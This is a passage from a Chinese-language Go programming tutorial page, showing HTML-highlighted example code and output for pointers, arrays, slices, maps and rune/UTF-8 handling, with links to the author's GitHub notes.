"</span>, a, b, &a, &b)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">swapRN</span><span class="hljs-params">(a, b *<span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-comment">// 局部变量交换值(地址)</span><br> b, a = a, b<br> fmt.Println(<span class="hljs-string">"in "</span>, a, b, *a, *b)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">swapR</span><span class="hljs-params">(a, b *<span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-comment">// 交换变量值(地址)指向的值</span><br> *b, *a = *a, *b<br> fmt.Println(<span class="hljs-string">"in "</span>, a, b, *a, *b)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">pointerSwap</span><span class="hljs-params">()</span></span> {<br> a, b := <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br> swapV(a, b)<br> fmt.Println(<span class="hljs-string">"out"</span>, a, b, &a, &b)<br><br> a, b = <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br> swapRN(&a, &b)<br> fmt.Println(<span class="hljs-string">"out"</span>, a, b, &a, &b)<br><br> a, b = <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br> swapR(&a, &b)<br> fmt.Println(<span class="hljs-string">"out"</span>, a, b, &a, &b)<br><br>}<br><br><span class="hljs-comment">// 输出</span><br>in <span class="hljs-number">4</span> <span class="hljs-number">3</span> <span class="hljs-number">0xc00001e0c8</span> <span class="hljs-number">0xc00001e0d0</span><br>out <span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">0xc00001e0b8</span> <span class="hljs-number">0xc00001e0c0</span><br>in <span class="hljs-number">0xc00001e0c0</span> <span class="hljs-number">0xc00001e0b8</span> <span class="hljs-number">4</span> <span class="hljs-number">3</span><br>out <span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">0xc00001e0b8</span> <span class="hljs-number">0xc00001e0c0</span><br>in <span class="hljs-number">0xc00001e0b8</span> <span class="hljs-number">0xc00001e0c0</span> <span class="hljs-number">4</span> <span class="hljs-number">3</span><br>out <span class="hljs-number">4</span> <span class="hljs-number">3</span> <span class="hljs-number">0xc00001e0b8</span> <span class="hljs-number">0xc00001e0c0</span><br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/pointer.go</p>
<h3 id="容器">容器</h3>
<h4 id="数组">数组</h4>
<p>Go 语言的数组有两种不同的创建方式</p>
<ul>
<li>一种是显式的指定数组大小
<ul>
<li>变量的类型在编译进行到<strong>类型检查</strong>阶段就会被提取出来,随后使用 <a target="_blank" rel="noopener" href="https://draveness.me/golang/tree/cmd/compile/internal/types.NewArray"><code>cmd/compile/internal/types.NewArray</code></a>创建包含数组大小的 <a target="_blank" rel="noopener" href="https://draveness.me/golang/tree/cmd/compile/internal/types.Array"><code>cmd/compile/internal/types.Array</code></a> 结构体。</li>
</ul></li>
<li>一种是使用 <code>[...]T</code> 声明数组
<ul>
<li>Go 语言编译器会在的 <a target="_blank" rel="noopener" href="https://draveness.me/golang/tree/cmd/compile/internal/gc.typecheckcomplit"><code>cmd/compile/internal/gc.typecheckcomplit</code></a> 函数中对该数组的大小进行推导</li>
<li><code>[...]T</code> 这种初始化方式也只是 Go 语言为我们提供的一种语法糖,当我们不想计算数组中的元素个数时可以通过这种方法减少一些工作量</li>
</ul></li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">define</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> arr1 [<span class="hljs-number">5</span>]<span class="hljs-keyword">int</span><br> arr2 := [<span class="hljs-number">3</span>]<span class="hljs-keyword">int</span>{<span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">5</span>}<br> arr3 := [...]<span class="hljs-keyword">int</span>{<span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>, <span class="hljs-number">8</span>, <span class="hljs-number">10</span>}<br><br> <span class="hljs-keyword">var</span> grid [<span class="hljs-number">4</span>][<span class="hljs-number">5</span>]<span class="hljs-keyword">bool</span><br> fmt.Println(arr1, arr2, arr3)<br> fmt.Println(grid)<br>}<br><br><span class="hljs-comment">// 输出</span><br>[<span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>] [<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span>] [<span class="hljs-number">2</span> <span class="hljs-number">4</span> <span class="hljs-number">6</span> <span class="hljs-number">8</span> <span class="hljs-number">10</span>]<br>[[<span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span>] [<span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span>] [<span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span>] [<span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span> <span class="hljs-literal">false</span>]]<br><br></code></pre></td></tr></table></figure>
<p>[5]int和[10]int是不同类型</p>
<p>调用func f(arr [10]int)会<em>拷贝</em>数组</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">printArr</span><span class="hljs-params">(arr [5]<span class="hljs-keyword">int</span>)</span></span> {<br> arr[<span class="hljs-number">0</span>] = <span class="hljs-number">100</span><br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> arr {<br> fmt.Println(i, v)<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">arrTest</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> arr1 [<span class="hljs-number">5</span>]<span class="hljs-keyword">int</span><br> arr2 := [...]<span class="hljs-keyword">int</span>{<span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>, <span class="hljs-number">8</span>, <span class="hljs-number">10</span>}<br> fmt.Println()<br> printArr(arr2)<br> fmt.Println()<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> arr1 {<br> fmt.Println(i, v)<br> }<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> <span class="hljs-number">100</span><br><span class="hljs-number">1</span> <span class="hljs-number">0</span><br><span class="hljs-number">2</span> <span class="hljs-number">0</span><br><span class="hljs-number">3</span> <span class="hljs-number">0</span><br><span class="hljs-number">4</span> <span class="hljs-number">0</span><br><br><span class="hljs-number">0</span> <span class="hljs-number">100</span><br><span class="hljs-number">1</span> <span class="hljs-number">4</span><br><span class="hljs-number">2</span> <span class="hljs-number">6</span><br><span class="hljs-number">3</span> <span class="hljs-number">8</span><br><span class="hljs-number">4</span> <span class="hljs-number">10</span><br><br><span class="hljs-number">0</span> <span class="hljs-number">0</span><br><span class="hljs-number">1</span> <span class="hljs-number">0</span><br><span class="hljs-number">2</span> <span class="hljs-number">0</span><br><span class="hljs-number">3</span> <span class="hljs-number">0</span><br><span class="hljs-number">4</span> <span class="hljs-number">0</span><br></code></pre></td></tr></table></figure>
<p>若要改变数组的值 需要传入数组的地址,因此go语言一般不使用数组</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">printArrR</span><span class="hljs-params">(arr *[5]<span class="hljs-keyword">int</span>)</span></span> {<br> arr[<span class="hljs-number">0</span>] = <span class="hljs-number">100</span><br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> arr {<br> fmt.Println(i, v)<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">arrTest</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> arr1 [<span class="hljs-number">5</span>]<span class="hljs-keyword">int</span><br> printArrR(&arr1)<br> fmt.Println()<br> fmt.Println(arr1)<br>}<br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> <span class="hljs-number">100</span><br><span class="hljs-number">1</span> <span class="hljs-number">0</span><br><span class="hljs-number">2</span> <span class="hljs-number">0</span><br><span class="hljs-number">3</span> <span class="hljs-number">0</span><br><span class="hljs-number">4</span> <span class="hljs-number">0</span><br><br>[<span class="hljs-number">100</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>]<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/collections/array.go</p>
<h4 id="切片">切片</h4>
<ul>
<li><p>slice可以向后扩展,但不能向前扩展</p></li>
<li><p>s[i]不可超越len(s),向后扩展不可以超越底层数组cap(s)</p></li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">slice</span><span class="hljs-params">()</span></span> {<br> arr := [...]<span class="hljs-keyword">int</span>{<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>}<br> s1 := arr[<span class="hljs-number">2</span>: <span class="hljs-number">6</span>]<br> fmt.Println(s1)<br> s2 := s1[<span class="hljs-number">3</span>: <span class="hljs-number">5</span>]<br> fmt.Println(s2)<br> s3 := s1[<span class="hljs-number">3</span>:<span class="hljs-number">6</span>]<br> fmt.Println(s3)<br>}<br><span class="hljs-comment">//输出</span><br>[<span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span>]<br>[<span class="hljs-number">6</span> <span class="hljs-number">7</span>]<br><span class="hljs-built_in">panic</span>: runtime error: slice bounds out of <span class="hljs-keyword">range</span> [:<span class="hljs-number">6</span>] with capacity <span class="hljs-number">5</span><br><br>goroutine <span class="hljs-number">1</span> [running]:<br>main.sliceDefine()<br> ~/Projects/golang/src/offer/note/slices.<span class="hljs-keyword">go</span>:<span class="hljs-number">20</span> +<span class="hljs-number">0x164</span><br>main.main()<br> ~/Projects/golang/src/offer/note/ab_test_func.<span class="hljs-keyword">go</span>:<span class="hljs-number">28</span> +<span class="hljs-number">0x20</span><br><br></code></pre></td></tr></table></figure>
<p><img src="/images/golang/slice.png" srcset="/img/loading.gif" lazyload></p>
<ul>
<li><p>向slice添加元素,如果超越cap,系统会自动分配更大的底层数组</p></li>
<li><p>由于值传递的原因,必须接收append的返回值<code>s=append(s, val)</code></p></li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">sliceAppend</span><span class="hljs-params">()</span></span> {<br> arr := [...]<span class="hljs-keyword">int</span>{<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>}<br> s1 := arr[<span class="hljs-number">2</span>: <span class="hljs-number">6</span>]<br> fmt.Println(s1, <span class="hljs-built_in">cap</span>(s1), <span class="hljs-built_in">len</span>(s1))<br> s2 := s1[<span class="hljs-number">3</span>: <span class="hljs-number">5</span>]<br> fmt.Println(s2)<br> s3 := <span class="hljs-built_in">append</span>(s2, <span class="hljs-number">10</span>)<br> s4 := <span class="hljs-built_in">append</span>(s3, <span class="hljs-number">11</span>)<br> s5 := <span class="hljs-built_in">append</span>(s4, <span class="hljs-number">12</span>)<br> fmt.Println(<span class="hljs-string">"s3, s4, s5="</span>, s3, s4, s5)<br> fmt.Println(arr)<br> <br> s6 := <span class="hljs-built_in">append</span>(s1, <span class="hljs-number">10</span>)<br> s7 := <span class="hljs-built_in">append</span>(s6, <span class="hljs-number">11</span>)<br> s8 := <span class="hljs-built_in">append</span>(s7, <span class="hljs-number">12</span>)<br> fmt.Println(<span class="hljs-string">"s6, s7, s8="</span>, s6, s7, s8)<br> fmt.Println(<span class="hljs-string">"cap(s6), cap(s7), cap(s8) ="</span>, <span class="hljs-built_in">cap</span>(s6), <span class="hljs-built_in">cap</span>(s7), <span class="hljs-built_in">cap</span>(s8))<br> fmt.Println(arr)<br>}<br><span class="hljs-comment">// 输出</span><br>[<span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span>] <span class="hljs-number">6</span> <span class="hljs-number">4</span><br>[<span class="hljs-number">6</span> <span class="hljs-number">7</span>]<br>s3, s4, s5= [<span class="hljs-number">6</span> <span class="hljs-number">7</span> <span class="hljs-number">10</span>] [<span class="hljs-number">6</span> <span class="hljs-number">7</span> <span class="hljs-number">10</span> <span class="hljs-number">11</span>] [<span class="hljs-number">6</span> <span class="hljs-number">7</span> <span class="hljs-number">10</span> <span class="hljs-number">11</span> <span class="hljs-number">12</span>]<br><span class="hljs-built_in">cap</span>(s3), <span class="hljs-built_in">cap</span>(s4), <span class="hljs-built_in">cap</span>(s5) = <span class="hljs-number">3</span> <span class="hljs-number">6</span> <span class="hljs-number">6</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">7</span> <span class="hljs-number">10</span>]<br><br>s6, s7, s8= [<span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">10</span>] [<span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">10</span> <span class="hljs-number">11</span>] [<span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">10</span> <span class="hljs-number">11</span> <span class="hljs-number">12</span>]<br><span class="hljs-built_in">cap</span>(s6), <span class="hljs-built_in">cap</span>(s7), <span class="hljs-built_in">cap</span>(s8) = <span class="hljs-number">6</span> <span class="hljs-number">6</span> <span class="hljs-number">12</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">5</span> <span class="hljs-number">6</span> <span class="hljs-number">10</span> <span class="hljs-number">11</span>]<br><br></code></pre></td></tr></table></figure>
<ul>
<li>Zero value for slice is nil</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">sliceDefine</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> s []<span class="hljs-keyword">int</span><br> <span class="hljs-keyword">for</span> i :=<span class="hljs-number">0</span>; i <<span class="hljs-number">10</span>; i++ {<br> fmt.Printf(<span class="hljs-string">"%v, cap(s) = %d, len(s) = %d\n"</span>, s, <span class="hljs-built_in">cap</span>(s), <span class="hljs-built_in">len</span>(s))<br> s = <span class="hljs-built_in">append</span>(s, <span class="hljs-number">2</span>*i + <span class="hljs-number">1</span>)<br> }<br><br> s1 := []<span class="hljs-keyword">int</span>{<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>}<br> fmt.Printf(<span class="hljs-string">"%v, cap(s1) = %d, len(s1) = %d\n"</span>, s1, <span class="hljs-built_in">cap</span>(s1), <span class="hljs-built_in">len</span>(s1))<br><br> s2 := <span class="hljs-built_in">make</span>([]<span class="hljs-keyword">int</span>, <span class="hljs-number">8</span>)<br> fmt.Printf(<span class="hljs-string">"%v, cap(s2) = %d, len(s2) = %d\n"</span>, s2, <span class="hljs-built_in">cap</span>(s2), <span class="hljs-built_in">len</span>(s2))<br><br> s3 := <span class="hljs-built_in">make</span>([]<span class="hljs-keyword">int</span>, <span class="hljs-number">8</span>, <span class="hljs-number">32</span>)<br> fmt.Printf(<span class="hljs-string">"%v, cap(s3) = %d, len(s3) = %d\n"</span>, s3, <span class="hljs-built_in">cap</span>(s3), <span class="hljs-built_in">len</span>(s3))<br><br> <span class="hljs-comment">// 拷贝</span><br> <span class="hljs-built_in">copy</span>(s2, s1)<br> fmt.Printf(<span class="hljs-string">"%v, cap(s2) = %d, len(s2) = %d\n"</span>, s2, <span class="hljs-built_in">cap</span>(s2), <span class="hljs-built_in">len</span>(s2))<br><br> <span class="hljs-comment">// 删除 没有内建函数,只能通过截取+append</span><br> s4 := <span class="hljs-built_in">append</span>(s2[:<span class="hljs-number">2</span>], s2[<span class="hljs-number">3</span>:]...)<br> fmt.Printf(<span class="hljs-string">"%v, cap(s4) = %d, len(s4) = %d\n"</span>, s4, <span class="hljs-built_in">cap</span>(s4), <span class="hljs-built_in">len</span>(s4))<br>}<br><br><span class="hljs-comment">//输出</span><br>[], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">0</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">0</span><br>[<span class="hljs-number">1</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">1</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">1</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">2</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">2</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">4</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">3</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">4</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">4</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">5</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">11</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">6</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">11</span> <span class="hljs-number">13</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">7</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">11</span> <span class="hljs-number">13</span> <span class="hljs-number">15</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">8</span><br>[<span class="hljs-number">1</span> <span class="hljs-number">3</span> <span class="hljs-number">5</span> <span class="hljs-number">7</span> <span class="hljs-number">9</span> <span class="hljs-number">11</span> <span class="hljs-number">13</span> <span class="hljs-number">15</span> <span class="hljs-number">17</span>], <span class="hljs-built_in">cap</span>(s) = <span class="hljs-number">16</span>, <span class="hljs-built_in">len</span>(s) = <span class="hljs-number">9</span><br>[<span class="hljs-number">2</span> <span class="hljs-number">3</span> <span class="hljs-number">4</span>], <span class="hljs-built_in">cap</span>(s1) = <span class="hljs-number">3</span>, <span class="hljs-built_in">len</span>(s1) = <span class="hljs-number">3</span><br>[<span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>], <span class="hljs-built_in">cap</span>(s2) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s2) = <span class="hljs-number">8</span><br>[<span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>], <span class="hljs-built_in">cap</span>(s3) = <span class="hljs-number">32</span>, <span class="hljs-built_in">len</span>(s3) = <span class="hljs-number">8</span><br>[<span class="hljs-number">2</span> <span class="hljs-number">3</span> <span class="hljs-number">4</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>], <span class="hljs-built_in">cap</span>(s2) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s2) = <span class="hljs-number">8</span><br>[<span class="hljs-number">2</span> <span class="hljs-number">3</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>], <span class="hljs-built_in">cap</span>(s4) = <span class="hljs-number">8</span>, <span class="hljs-built_in">len</span>(s4) = <span class="hljs-number">7</span><br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/collections/slices.go</p>
<h4 id="map">Map</h4>
<ul>
<li><p>创建<code>make(map[type]type)</code></p></li>
<li><p>key不存在时,获取value类型的初始值,需要<code>if value, ok := m[key]; ok {...}</code> 判断是否存在key</p></li>
<li><p>map使用哈希表,必须可以比较相等</p></li>
<li><p>除了slice, map,function的内建类型都可以作为map的key,Struct类型不包含上述字段时,也可作为key</p></li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">mapDefine</span><span class="hljs-params">()</span></span> {<br> m := <span class="hljs-keyword">map</span>[<span class="hljs-keyword">int</span>]<span class="hljs-keyword">string</span>{<br> <span class="hljs-number">1</span>: <span class="hljs-string">"aa"</span>,<br> <span class="hljs-number">2</span>: <span class="hljs-string">"bb"</span>,<br> }<br> <span class="hljs-keyword">if</span> v, ok := m[<span class="hljs-number">3</span>]; ok {<br> fmt.Println(v)<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-built_in">panic</span>(<span class="hljs-string">"key not exists"</span>)<br> }<br>}<br><br><span class="hljs-comment">//输出</span><br><span class="hljs-built_in">panic</span>: key not exists<br><br>goroutine <span class="hljs-number">1</span> [running]:<br>main.mapDefine()<br> /Users/wangpeng/Projects/golang/src/offer/note/maps.<span class="hljs-keyword">go</span>:<span class="hljs-number">20</span> +<span class="hljs-number">0x1f6</span><br>main.main()<br> /Users/wangpeng/Projects/golang/src/offer/note/ab_test_func.<span class="hljs-keyword">go</span>:<span class="hljs-number">32</span> +<span class="hljs-number">0x20</span><br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/collections/maps.go</p>
<h4 id="rune">Rune</h4>
<p>字符串在UTF-8编码中,一个中文占三个字节,</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">strByte</span><span class="hljs-params">(s <span class="hljs-keyword">string</span>)</span></span> {<br> <span class="hljs-keyword">if</span> s == <span class="hljs-string">""</span> {<br> s = <span class="hljs-string">"yes,我喜欢你!"</span><br> }<br> <span class="hljs-keyword">for</span> i, ch := <span class="hljs-keyword">range</span> []<span class="hljs-keyword">byte</span>(s) {<br> fmt.Printf(<span class="hljs-string">"(%d, %X)"</span>, i, ch)<br> }<br> fmt.Println()<br> <span class="hljs-keyword">for</span> i, ch := <span class="hljs-keyword">range</span> s { <span class="hljs-comment">// ch is a rune 其实是将s进行utf-8解码,解码后的字符会转成unicode,然后放入rune中</span><br> fmt.Printf(<span class="hljs-string">"(%d, %X)"</span>, i, ch)<br> }<br> fmt.Println()<br> bytes := []<span class="hljs-keyword">byte</span>(s)<br> <span class="hljs-keyword">for</span> <span class="hljs-built_in">len</span>(bytes) ><span class="hljs-number">0</span> {<br> ch, size := utf8.DecodeRune(bytes)<br> bytes = bytes[size:]<br> fmt.Printf(<span class="hljs-string">"%c "</span>, ch)<br> }<br> fmt.Println()<br> <span class="hljs-keyword">for</span> i, ch := <span class="hljs-keyword">range</span> []<span class="hljs-keyword">rune</span>(s) {<br> fmt.Printf(<span class="hljs-string">"(%d, %X)"</span>, i, ch)<br> }<br>}<br><br><span 